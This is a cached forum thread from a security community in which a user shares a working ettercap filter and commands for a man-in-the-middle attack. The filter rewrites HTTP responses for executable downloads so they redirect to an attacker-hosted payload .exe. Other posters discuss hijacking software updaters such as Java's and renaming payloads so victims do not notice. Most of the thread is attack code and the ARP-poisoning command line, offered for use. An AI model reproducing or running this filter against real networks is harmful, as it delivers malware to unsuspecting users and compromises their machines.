This is Google's cache of http://forums.remote-exploit.org/programming/16014-replace-exe-msf-payload.html. It is a snapshot of the page as it appeared on Jan 20, 2010 03:05:57 GMT. The current page could have changed in the meantime. Learn more

Full version
These terms only appear in links pointing to this page: http forums remote exploit org showthread php p 94904  
Replace *.EXE with MSF payload .. - Remote Exploit Forums

Go Back   Remote Exploit Forums > Specialist Topics > Programming
User Name Remember Me?
Password


Programming A place for our community to discuss their own security related coding projects.

 
 
LinkBack Thread Tools
 
Old 08-06-2008, 11:39 AM
operat0r operat0r is offline
Senior Member
 
Join Date: Nov 2006
Posts: 313
Cool ettercap OWNAGED replace all exe's DL'ed

VIDEO:

http://blip.tv/file/1185726/

* works in firefox great
* works in opera but after about 10seconds ( this is reasonable )
* works in IE7

Code:
# replace rmccurdy with your website
# replace the url with what ever exe you like





if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
          # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");

}



if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://www.rmccurdy.com/scripts/quickclean.exe

");
msg("redirect success\n");

}
}


for example on howto use etterfilter/ettercap / more goodies:
Own Full patched XP box via HTTP



Code:

# etterfilter makes the exe.ef to use with ettercap

etterfilter exe.filter -o exe.ef
# run ettercap on target
ettercap -T -q -F exe.ef -M ARP // // -P autoadd

Last edited by operat0r; 10-20-2008 at 11:01 AM.
 
Old 08-06-2008, 01:39 PM
ShadowKill's Avatar
ShadowKill ShadowKill is offline
Senior Member
 
Join Date: Dec 2007
Location: /dev/null
Posts: 918
Default

Quote:
Originally Posted by operat0r View Post
I was listening to podcast pauldotcom.com was talking about evilgrade

what about ettercap /dns spoof that would replace and update agent that is a http get to an EXE or any executable for that matter.

what ever app what gets and EXE file over HTTP is replaced with a MS payload EXE

can this be done with say a simple 302 redirect for all EXE's maybe .. err
I don't really see why it couldn't be. The only issue I see is that you would need to perhaps write a script to rename your payload .EXE to that of the original. Otherwise, the user might catch it and either delete it and retry or start poking around for clues as to why they keep downloading the same file over and over again....

Quote:
Originally Posted by operat0r View Post
Humm is that possible to have an ettercap filter pass a var to a shell script ?

think about all the apps that have updates that are not listed in the evilgrade .. adobe etc... even add support for some kind of md5 MIM so if it trys to get some md5 hash just send it the hash for your MS payload...


Code:
java updates
http://java.sun.com/update/1.6.0/map-1.6.0.xml
http://javadl-esd.sun.com/update/1.6.0/map-1.6.0.xml
http://javadl-esd.sun.com/update/1.6.0/1.6.0_07-b06.xml
maybe some kind of apache mod_rewrite that does the renaming of the file for you.. if ettercap can't do regex etc ... ?
Sounds feasible to me, but there's only one way to know for sure right?

Quote:
Originally Posted by operat0r View Post
shoud I put exe\n or exe\r ??

still can't get it working ..

as in match exe and the new line or carriage return ?

I would assume that it'd be \n as \r is just a hard coded "Enter" correct? I'll tfiddle around with it in a while and let you know the outcome.
__________________



"The goal of every man should be to continue living even after he can no longer draw breath."

~ShadowKill

Last edited by balding_parrot; 10-20-2008 at 05:27 PM.
 
Old 08-19-2008, 12:36 PM
operat0r operat0r is offline
Senior Member
 
Join Date: Nov 2006
Posts: 313
Default

Ok so got it working in IE7 not sure if I need 1/2 the code in the filter but it works so have fun !

I added code to make the filter and run ettercap

Last edited by balding_parrot; 10-20-2008 at 05:27 PM.
 

Bookmarks
Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 04:04 AM.

-- Original Default -- backtrack -- black-orange -- red-black -- Deutsch -- English (US) -- Italian -- Spanish

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2